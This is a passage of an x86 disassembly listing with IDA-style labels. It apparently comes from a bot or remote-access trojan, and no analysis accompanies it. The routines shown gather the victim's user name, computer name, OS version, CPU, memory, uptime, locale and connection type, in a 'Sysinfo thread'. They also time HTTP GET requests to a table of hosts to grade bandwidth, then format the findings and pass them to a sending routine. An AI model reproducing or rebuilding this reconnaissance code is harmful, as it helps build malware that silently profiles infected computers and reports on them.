		add	esp, 18h
		push	1
		pop	eax
		leave
		retn
sub_405580	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405670	proc near		; CODE XREF: sub_40E18A+E6p

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_40543F
		add	esp, 14h
		test	eax, eax
		jz	short loc_4056B6
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_418C78
		call	sub_40543F
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4056BA


loc_4056B6:				; CODE XREF: sub_405670+23j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4056BA:				; CODE XREF: sub_405670+44j
		cmp	[ebp+var_10], 0
		jnz	short loc_4056CF
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_4056CF:				; CODE XREF: sub_405670+4Ej
		cmp	[ebp+var_C], 0
		jnz	short loc_4056E4
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_4056E4:				; CODE XREF: sub_405670+63j
		cmp	[ebp+var_8], 0
		jnz	short loc_4056F9
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_4056F9:				; CODE XREF: sub_405670+78j
		cmp	[ebp+var_4], 0
		jnz	short loc_40570E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_40570E:				; CODE XREF: sub_405670+8Dj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset loc_412F20
		push	[ebp+arg_0]
		call	sub_410844	; sprintf
		add	esp, 18h
		push	1
		pop	eax
		leave
		retn
sub_405670	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405733	proc near		; CODE XREF: sub_4051D2+41p
					; sub_4051D2+75p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_405742
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_405742:				; CODE XREF: sub_405733+8j
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax]
		mov	edi, [ebp+arg_4]
		mov	al, [ecx]
		test	al, al
		jz	short loc_405776
		mov	bl, [edi]


loc_405755:				; CODE XREF: sub_405733+41j
		test	bl, bl
		mov	esi, edi
		jz	short loc_405769
		mov	dl, bl


loc_40575D:				; CODE XREF: sub_405733+34j
		cmp	dl, al
		jz	short loc_405769
		mov	dl, [esi+1]
		inc	esi
		test	dl, dl
		jnz	short loc_40575D


loc_405769:				; CODE XREF: sub_405733+26j
					; sub_405733+2Cj
		cmp	byte ptr [esi],	0
		jz	short loc_405776
		mov	al, [ecx+1]
		inc	ecx
		test	al, al
		jnz	short loc_405755


loc_405776:				; CODE XREF: sub_405733+1Ej
					; sub_405733+39j
		cmp	byte ptr [ecx],	0
		mov	edx, ecx
		mov	esi, edi
		jz	short loc_405799


loc_40577F:				; CODE XREF: sub_405733+5Ej
		mov	al, [edx]
		cmp	al, [esi]
		jz	short loc_405795
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_40578E
		mov	esi, edi
		inc	edx


loc_40578E:				; CODE XREF: sub_405733+56j
		cmp	byte ptr [edx],	0
		jnz	short loc_40577F
		jmp	short loc_405799
; ---------------------------------------------------------------------------


loc_405795:				; CODE XREF: sub_405733+50j
		and	byte ptr [edx],	0
		inc	edx


loc_405799:				; CODE XREF: sub_405733+4Aj
					; sub_405733+60j
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	[eax], edx
		mov	eax, ecx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		pop	ebp
		retn
sub_405733	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057AD	proc near		; CODE XREF: sub_4057B0:loc_4057BAp
					; sub_4057B0+1Ep
		rdtsc
		retn
sub_4057AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4057B0	proc near		; CODE XREF: sub_4058D7+271p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	esi, esi


loc_4057BA:				; CODE XREF: sub_4057B0+42j
					; sub_4057B0+4Cj
		call	sub_4057AD
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	ds:dword_4110A4	; Sleep
		call	sub_4057AD
		sub	eax, edi
		push	esi
		sbb	edx, ebx
		push	186A0h
		push	edx
		push	eax
		call	sub_410980
		push	esi
		push	0Ah
		push	edx
		push	eax
		call	sub_410980
		cmp	edx, esi
		mov	edi, eax
		ja	short loc_4057BA
		jb	short loc_4057FE
		cmp	edi, 0F4240h
		ja	short loc_4057BA


loc_4057FE:				; CODE XREF: sub_4057B0+44j
		push	esi
		push	64h
		push	edx
		push	edi
		call	sub_410900
		push	64h
		mov	ecx, eax
		cmp	edx, esi
		pop	eax
		mov	[ebp+var_4], esi
		ja	short loc_405875
		jb	short loc_40581B
		cmp	ecx, 50h
		jnb	short loc_405821


loc_40581B:				; CODE XREF: sub_4057B0+64j
		push	4Bh
		mov	[ebp+var_4], esi
		pop	eax


loc_405821:				; CODE XREF: sub_4057B0+69j
		cmp	edx, esi
		ja	short loc_405875
		jb	short loc_40582C
		cmp	ecx, 47h
		jnb	short loc_405832


loc_40582C:				; CODE XREF: sub_4057B0+75j
		push	42h
		mov	[ebp+var_4], esi
		pop	eax


loc_405832:				; CODE XREF: sub_4057B0+7Aj
		cmp	edx, esi
		ja	short loc_405875
		jb	short loc_40583D
		cmp	ecx, 37h
		jnb	short loc_405843


loc_40583D:				; CODE XREF: sub_4057B0+86j
		push	32h
		mov	[ebp+var_4], esi
		pop	eax


loc_405843:				; CODE XREF: sub_4057B0+8Bj
		cmp	edx, esi
		ja	short loc_405875
		jb	short loc_40584E
		cmp	ecx, 26h
		jnb	short loc_405854


loc_40584E:				; CODE XREF: sub_4057B0+97j
		push	21h
		mov	[ebp+var_4], esi
		pop	eax


loc_405854:				; CODE XREF: sub_4057B0+9Cj
		cmp	edx, esi
		ja	short loc_405875
		jb	short loc_40585F
		cmp	ecx, 1Eh
		jnb	short loc_405865


loc_40585F:				; CODE XREF: sub_4057B0+A8j
		push	19h
		mov	[ebp+var_4], esi
		pop	eax


loc_405865:				; CODE XREF: sub_4057B0+ADj
		cmp	edx, esi
		ja	short loc_405875
		jb	short loc_405870
		cmp	ecx, 0Ah
		jnb	short loc_405875


loc_405870:				; CODE XREF: sub_4057B0+B9j
		xor	eax, eax
		mov	[ebp+var_4], esi


loc_405875:				; CODE XREF: sub_4057B0+62j
					; sub_4057B0+73j ...
		sub	eax, ecx
		add	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4057B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40587E	proc near		; CODE XREF: sub_4088FC+15Ap
					; sub_408F9D+2AFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, ds:dword_411038
		push	1Fh
		push	esi
		push	7
		push	400h
		call	edi	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		mov	byte ptr [esi+3], 0
		neg	eax
		mov	[ebp+arg_0], eax
		jz	short loc_4058BD
		push	offset off_4130CC
		push	esi
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4058BD
		push	1
		pop	eax
		jmp	short loc_4058D3
; ---------------------------------------------------------------------------


loc_4058BD:				; CODE XREF: sub_40587E+27j
					; sub_40587E+38j
		push	1Fh
		push	esi
		push	7
		push	800h
		call	edi	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		and	byte ptr [esi+3], 0


loc_4058D3:				; CODE XREF: sub_40587E+3Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40587E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058D7	proc near		; DATA XREF: sub_405BB3+29o

var_72C		= byte ptr -72Ch
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_105		= byte ptr -105h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_50		= byte ptr -50h
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 72Ch
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		add	esp, 10h
		lea	eax, [ebp+var_70]
		push	eax
		call	ds:dword_41107C	; GlobalMemoryStatus
		mov	eax, [ebp+var_68]
		lea	esi, [eax+100000h]
		mov	eax, [ebp+var_64]
		add	eax, 100000h
		shr	eax, 14h
		shr	esi, 14h
		mov	[ebp+var_24], eax
		call	sub_40639B
		mov	ecx, 15180h
		xor	edx, edx
		mov	ebx, ecx
		mov	edi, eax
		div	ebx
		xor	edx, edx
		push	3Ch
		mov	[ebp+var_8], 15h
		mov	[ebp+var_C], 10h
		mov	[ebp+var_18], eax
		mov	eax, edi
		div	ecx
		mov	ecx, 0E10h
		mov	ebx, ecx
		mov	edi, edx
		xor	edx, edx
		mov	eax, edi
		div	ebx
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	eax, edi
		div	ecx
		pop	ecx
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	ds:dword_411018	; GetUserNameA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	ds:dword_411030	; GetComputerNameA
		push	24h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_100]
		mov	[ebp+var_104], 94h
		rep stosd
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_411034	; GetVersionExA
		cmp	[ebp+var_100], 4
		mov	edi, offset a?	; "?"
		mov	[ebp+var_1C], offset aNoSp ; "no SP"
		jnz	short loc_405A0F
		cmp	[ebp+var_FC], 0
		jnz	short loc_4059EF
		cmp	[ebp+var_F4], 1
		jnz	short loc_4059DF
		mov	edi, offset a95	; "95"


loc_4059DF:				; CODE XREF: sub_4058D7+101j
		cmp	[ebp+var_F4], 2
		jnz	short loc_405A61
		mov	edi, offset aNt	; "NT"
		jmp	short loc_405A4F
; ---------------------------------------------------------------------------


loc_4059EF:				; CODE XREF: sub_4058D7+F8j
		cmp	[ebp+var_FC], 0Ah
		jnz	short loc_4059FF
		mov	edi, offset a98	; "98"
		jmp	short loc_405A46
; ---------------------------------------------------------------------------


loc_4059FF:				; CODE XREF: sub_4058D7+11Fj
		cmp	[ebp+var_FC], 5Ah
		jnz	short loc_405A46
		mov	edi, offset aMe	; "ME"
		jmp	short loc_405A46
; ---------------------------------------------------------------------------


loc_405A0F:				; CODE XREF: sub_4058D7+EFj
		cmp	[ebp+var_100], 5
		jnz	short loc_405A46
		cmp	[ebp+var_FC], 0
		jnz	short loc_405A28
		mov	edi, offset a2000 ; "2000"
		jmp	short loc_405A46
; ---------------------------------------------------------------------------


loc_405A28:				; CODE XREF: sub_4058D7+148j
		cmp	[ebp+var_FC], 1
		jnz	short loc_405A38
		mov	edi, offset aXp	; "XP"
		jmp	short loc_405A46
; ---------------------------------------------------------------------------


loc_405A38:				; CODE XREF: sub_4058D7+158j
		cmp	[ebp+var_FC], 2
		jnz	short loc_405A46
		mov	edi, offset a2003 ; "2003"


loc_405A46:				; CODE XREF: sub_4058D7+126j
					; sub_4058D7+12Fj ...
		cmp	[ebp+var_F4], 2
		jnz	short loc_405A61


loc_405A4F:				; CODE XREF: sub_4058D7+116j
		cmp	[ebp+var_F0], 0
		jz	short loc_405A61
		lea	eax, [ebp+var_F0]
		mov	[ebp+var_1C], eax


loc_405A61:				; CODE XREF: sub_4058D7+10Fj
					; sub_4058D7+176j ...
		call	sub_403342
		test	eax, eax
		mov	[ebp+var_14], offset aYes ; "Yes"
		jnz	short loc_405A78
		mov	[ebp+var_14], offset aNo ; "No"


loc_405A78:				; CODE XREF: sub_4058D7+198j
		and	[ebp+var_178], 0
		and	[ebp+var_105], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_184], ebx
		mov	[ebp+var_180], edx
		mov	[ebp+var_17C], ecx
		lea	eax, [ebp+var_4]
		xor	ebx, ebx
		push	eax
		push	20019h
		push	ebx
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		mov	[ebp+var_4], ebx
		call	ds:dword_411000	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_405B07
		lea	eax, [ebp+var_28]
		mov	[ebp+var_20], ebx
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		push	offset aProcessornames ; "ProcessorNameString"
		mov	[ebp+var_28], 80h
		push	[ebp+var_4]
		call	ds:dword_41100C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_405AFE
		push	1
		lea	eax, [ebp+var_184]
		push	1
		push	eax
		call	sub_4053BA
		add	esp, 0Ch


loc_405AFE:				; CODE XREF: sub_4058D7+212j
		push	[ebp+var_4]
		call	ds:dword_411028	; RegCloseKey


loc_405B07:				; CODE XREF: sub_4058D7+1E6j
		cmp	[ebp+arg_0], 1
		mov	ecx, offset byte_417B60
		mov	eax, offset dword_4131C0
		mov	ebx, ecx
		jz	short loc_405B1B
		mov	ebx, eax


loc_405B1B:				; CODE XREF: sub_4058D7+240j
		cmp	[ebp+var_10], 1
		mov	edx, ecx
		jz	short loc_405B25
		mov	edx, eax


loc_405B25:				; CODE XREF: sub_4058D7+24Aj
		cmp	[ebp+var_18], 1
		jnz	short loc_405B2D
		mov	eax, ecx


loc_405B2D:				; CODE XREF: sub_4058D7+252j
		lea	ecx, [ebp+var_50]
		push	ecx
		lea	ecx, [ebp+var_38]
		push	ecx
		push	ebx
		push	[ebp+arg_0]
		push	edx
		push	[ebp+var_10]
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_14]
		push	esi
		push	[ebp+var_24]
		call	sub_4057B0
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_72C]
		push	[ebp+var_F8]
		push	[ebp+var_FC]
		push	[ebp+var_100]
		push	[ebp+var_1C]
		push	edi
		push	offset dword_4130D0
		push	400h
		push	eax
		call	sub_41089E	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_72C]
		push	eax
		lea	eax, [ebp+var_328]
		push	offset dword_412B30
		push	eax
		call	sub_408D50
		push	[ebp+var_32C]
		call	sub_406753
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4058D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_405BB3	proc near		; CODE XREF: sub_40735A+FFEp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_405BE9
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_403E60
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	esi
		push	offset sub_4058D7
		call	sub_40663C
		add	esp, 10h


loc_405BE9:				; CODE XREF: sub_405BB3+10j
		pop	esi
		retn
sub_405BB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BEB	proc near		; CODE XREF: sub_405C57+Ap
					; sub_405C57+18p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40AC4E
		call	sub_41084A	; clock
		mov	edi, eax
		push	7D0h
		push	0
		lea	eax, [ebp+var_20]
		push	offset a80	; "80"
		push	eax
		call	sub_403BBB
		mov	esi, eax
		push	esi
		call	sub_403D49
		add	esp, 20h
		test	esi, esi
		jnz	short loc_405C3A
		mov	eax, 3E8h
		jmp	short loc_405C53
; ---------------------------------------------------------------------------


loc_405C3A:				; CODE XREF: sub_405BEB+46j
		call	sub_41084A	; clock
		mov	ecx, eax
		mov	eax, 3E8h
		sub	ecx, edi
		cmp	ecx, eax
		jnb	short loc_405C53
		call	sub_41084A	; clock
		sub	eax, edi


loc_405C53:				; CODE XREF: sub_405BEB+4Dj
					; sub_405BEB+5Fj
		pop	edi
		pop	esi
		leave
		retn
sub_405BEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C57	proc near		; CODE XREF: sub_405E4E:loc_405F89p
					; sub_40849F+15Cp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	(offset	loc_412F2B+1)
		call	sub_405BEB
		mov	esi, eax
		mov	[esp+18h+var_18], offset dword_412F38
		call	sub_405BEB
		mov	edi, eax
		mov	[esp+18h+var_18], offset dword_412F50
		call	sub_405BEB
		mov	ebx, eax
		mov	[esp+18h+var_18], offset dword_412F5C
		call	sub_405BEB
		mov	ebp, eax
		mov	[esp+18h+var_18], offset dword_412F6C
		call	sub_405BEB
		mov	[esp+18h+var_4], eax
		mov	[esp+18h+var_18], offset dword_412F7C
		call	sub_405BEB
		add	eax, [esp+18h+var_4]
		pop	ecx
		push	6
		xor	edx, edx
		add	eax, ebp
		pop	ecx
		add	eax, ebx
		add	eax, edi
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		div	ecx
		pop	ecx
		retn
sub_405C57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CC8	proc near		; CODE XREF: sub_405E4E:loc_405FAEp

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		xor	ebx, ebx
		xor	eax, eax
		cmp	off_412F90, ebx
		push	esi
		push	edi
		jz	short loc_405CED
		mov	ecx, offset off_412F90


loc_405CE5:				; CODE XREF: sub_405CC8+23j
		add	ecx, 4
		inc	eax
		cmp	[ecx], ebx
		jnz	short loc_405CE5


loc_405CED:				; CODE XREF: sub_405CC8+16j
		shr	eax, 1
		mov	[ebp+var_4], ebx
		lea	edi, [eax-1]
		jmp	short loc_405CF9
; ---------------------------------------------------------------------------


loc_405CF7:				; CODE XREF: sub_405CC8+A0j
		xor	ebx, ebx


loc_405CF9:				; CODE XREF: sub_405CC8+2Dj
		push	edi
		push	ebx
		call	sub_40AADE
		mov	esi, eax
		lea	eax, [ebp+var_114]
		shl	esi, 3
		push	off_412F90[esi]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_40AC4E
		push	off_412F94[esi]
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40AC4E
		push	2710h
		push	ebx
		lea	eax, [ebp+var_114]
		push	offset a80	; "80"
		push	eax
		call	sub_403BBB
		mov	ebx, eax
		add	esp, 30h
		test	ebx, ebx
		jnz	short loc_405D6F
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3
		jb	short loc_405CF7


loc_405D6A:				; CODE XREF: sub_405CC8+181j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405D6F:				; CODE XREF: sub_405CC8+97j
		lea	eax, [ebp+var_114]
		mov	esi, 200h
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		lea	eax, [ebp+var_414]
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	ebx
		call	sub_403D54
		add	esp, 24h
		call	sub_41084A	; clock
		and	[ebp+var_4], 0
		mov	dword ptr [ebp+var_14+4], eax
		mov	edi, 1388h


loc_405DC2:				; CODE XREF: sub_405CC8+134j
					; sub_405CC8+147j
		push	edi
		lea	eax, [ebp+var_414]
		push	esi
		push	eax
		push	ebx
		call	sub_403DAD
		add	esp, 10h
		mov	dword ptr [ebp+var_C+4], eax
		test	eax, eax
		jz	short loc_405DFE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405DFE
		call	sub_41084A	; clock
		sub	eax, dword ptr [ebp+var_14+4]
		cmp	eax, edi
		jnb	short loc_405DFE
		mov	eax, [ebp+var_4]
		cmp	eax, 100000h
		jnb	short loc_405DFE
		add	eax, dword ptr [ebp+var_C+4]
		mov	[ebp+var_4], eax
		jmp	short loc_405DC2
; ---------------------------------------------------------------------------


loc_405DFE:				; CODE XREF: sub_405CC8+111j
					; sub_405CC8+116j ...
		mov	eax, [ebp+var_4]
		cmp	eax, 2000h
		jnb	short loc_405E11
		push	ebx
		call	sub_403D27
		pop	ecx
		jmp	short loc_405DC2
; ---------------------------------------------------------------------------


loc_405E11:				; CODE XREF: sub_405CC8+13Ej
		and	dword ptr [ebp+var_C+4], 0
		mov	dword ptr [ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	dword ptr [ebp+var_C+4]
		call	sub_41084A	; clock
		sub	eax, dword ptr [ebp+var_14+4]
		and	dword ptr [ebp+var_14+4], 0
		mov	dword ptr [ebp+var_14],	eax
		fild	[ebp+var_14]
		fmul	ds:flt_411280
		fdivr	dword ptr [ebp+var_C+4]
		call	sub_4109E8	; _ftol
		push	ebx
		mov	esi, eax
		call	sub_403D27
		pop	ecx
		mov	eax, esi
		jmp	loc_405D6A
sub_405CC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E4E	proc near		; DATA XREF: sub_40605E+29o

var_A80		= qword	ptr -0A80h
var_A54		= byte ptr -0A54h
var_654		= byte ptr -654h
var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_A8		= byte ptr -0A8h
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A54h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		mov	esi, offset dword_418C78
		lea	eax, [ebp+var_654]
		push	esi
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 18h
		lea	eax, [ebp+var_C]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	esi
		call	dword_417BB4	; getaddrinfo
		test	eax, eax
		jnz	short loc_405EC6
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_654]
		push	401h
		push	eax
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_417BB8	; getnameinfo
		push	[ebp+var_C]
		call	dword_417BBC	; freeaddrinfo


loc_405EC6:				; CODE XREF: sub_405E4E+4Ej
		call	sub_40640D
		mov	ecx, 15180h
		xor	edx, edx
		mov	ebx, ecx
		mov	esi, eax
		div	ebx
		xor	edx, edx
		push	3Ch
		mov	dword ptr [ebp+var_8+4], eax
		mov	eax, esi
		div	ecx
		mov	ecx, 0E10h
		mov	ebx, ecx
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebx
		xor	edx, edx
		mov	[ebp+var_14], eax
		mov	eax, esi
		div	ecx
		pop	ecx
		mov	esi, offset aUnknown_0 ; "Unknown"
		push	esi
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_A8]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		call	sub_410820	; _mbscpy
		mov	eax, dword_417BAC
		add	esp, 10h
		cmp	eax, edi
		jz	short loc_405F61
		push	edi
		lea	ecx, [ebp+var_A8]
		push	80h
		push	ecx
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	eax	; InternetGetConnectedStateEx
		test	eax, eax
		jz	short loc_405F61
		test	[ebp+var_1C], 1
		jz	short loc_405F51
		push	offset aModem	; "Modem"
		jmp	short loc_405F56
; ---------------------------------------------------------------------------


loc_405F51:				; CODE XREF: sub_405E4E+FAj
		push	offset aLan	; "LAN"


loc_405F56:				; CODE XREF: sub_405E4E+101j
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_405F61:				; CODE XREF: sub_405E4E+DDj
					; sub_405E4E+F4j
		call	sub_4033B0
		mov	edi, offset aYes ; "Yes"
		mov	esi, offset aNo	; "No"
		test	eax, eax
		mov	[ebp+var_18], edi
		jnz	short loc_405F7A
		mov	[ebp+var_18], esi


loc_405F7A:				; CODE XREF: sub_405E4E+127j
		call	sub_403289
		test	eax, eax
		mov	[ebp+var_10], edi
		jnz	short loc_405F89
		mov	[ebp+var_10], esi


loc_405F89:				; CODE XREF: sub_405E4E+136j
		call	sub_405C57
		cmp	eax, 2EEh
		mov	[ebp+var_20], eax
		mov	ebx, offset aBad ; "Bad"
		jnb	short loc_405FA2
		mov	ebx, offset aAvarage ; "Avarage"


loc_405FA2:				; CODE XREF: sub_405E4E+14Dj
		cmp	eax, 1F4h
		jnb	short loc_405FAE
		mov	ebx, offset aGood ; "Good"


loc_405FAE:				; CODE XREF: sub_405E4E+159j
		call	sub_405CC8
		cmp	[ebp+arg_0], 1
		mov	edx, offset byte_417B60
		mov	ecx, offset dword_4131C0
		mov	edi, edx
		jz	short loc_405FC7
		mov	edi, ecx


loc_405FC7:				; CODE XREF: sub_405E4E+175j
		cmp	[ebp+var_14], 1
		mov	esi, edx
		jz	short loc_405FD1
		mov	esi, ecx


loc_405FD1:				; CODE XREF: sub_405E4E+17Fj
		cmp	dword ptr [ebp+var_8+4], 1
		jnz	short loc_405FD9
		mov	ecx, edx


loc_405FD9:				; CODE XREF: sub_405E4E+187j
		push	edi
		mov	dword ptr [ebp+var_8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	esi
		push	[ebp+var_14]
		push	ecx
		push	dword ptr [ebp+var_8+4]
		and	dword ptr [ebp+var_8+4], 0
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		fmul	ds:flt_411284
		fstp	[esp+0A80h+var_A80]
		push	[ebp+var_20]
		push	ebx
		push	[ebp+var_10]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		push	offset dword_413250
		lea	eax, [ebp+var_A54]
		push	400h
		push	eax
		call	sub_41089E	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_A54]
		push	eax
		lea	eax, [ebp+var_24C]
		push	offset dword_412B30
		push	eax
		call	sub_408D50
		push	[ebp+var_250]
		call	sub_406753
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405E4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40605E	proc near		; CODE XREF: sub_40735A+FEDp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406094
		push	[esp+4+arg_0]
